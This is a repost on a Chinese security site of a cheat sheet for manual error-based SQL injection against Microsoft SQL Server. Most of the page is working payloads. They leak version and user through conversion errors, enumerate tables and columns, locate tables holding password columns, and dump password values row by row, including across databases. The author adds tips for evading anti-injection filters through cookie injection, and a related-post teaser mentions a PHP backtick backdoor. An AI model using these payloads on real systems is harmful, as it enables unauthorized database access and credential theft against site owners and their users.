Sql Server 手工注入总结(显错模式)

admin 2021年4月3日20:06:17评论35 views字数 1596阅读5分19秒阅读模式

转自:http://t00ls.net/viewthread.php?tid=20248&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

--显错模式总结,利用类型转换报错。
--1=convert(int,(@@version))
--1=convert(int,(select host_name()))
--and 1=convert(int,(user))

--爆表名记录条数。replace(字段名,' ','')
select replace(str(count(*))+'N',' ','') from sysobjects where xtype='U'
--逐条爆表名,需要更改是"top 0","top 0"代表第一条数据内容。
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from sysobjects where xtype='U')

--利用模糊字段关键词找表名,需要更改是"top 0","top 0"代表第一个表名.
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from syscolumns where id in(select id from sysobjects where xtype='U') and name like '%pass%' order by id asc)


--爆表与之对应字段,需要更改的是表名"username"和"top 0","top 0"代表第一条数据内容。
select str(count(*))+'N' from syscolumns where id=(select id from sysobjects where xtype='U' and name='username')
select top 1 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username') and name not in (select top 0 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username'))


--爆对应表,对应字段数据库内容.
--爆数据条数
select str(count(*))+'N' from username
--爆对应字段对应内容,需要替换password,username,id,以及"top 0","top 0"代表第一条数据内容。
select top 1 password from username where id not in (select top 0 id from username)


--跨库
select top 1 name from ss.dbo.sysobjects where xtype='U' and id not in(select top 0 id from ss.dbo.sysobjects where xtype='U')

原理就是那么简单,在测试的过程中学会变通。对于asp+sql server,经常会遇到做了防注入,有时候别忘了cookies注入,效果不错。

做事要有耐心,把自己当做一只蚂蚁,如何去把大堤给搞垮。

以上废话较多,请多见谅。

文章来源于lcx.cc:Sql Server 手工注入总结(显错模式)

相关推荐: PHP 中 shell_exec() 实际上是反撇号 ` 操作符的变体

论坛某同学发现了个有意思的东西,原帖内容如下: 一个官方没有公布的 php 秘籍,可用作后门 发现这个也是巧合,我就直接说了吧 大家看看这个代码有木有问题? 我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:06:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sql Server 手工注入总结(显错模式)https://cn-sec.com/archives/325470.html

发表评论

匿名网友 填写信息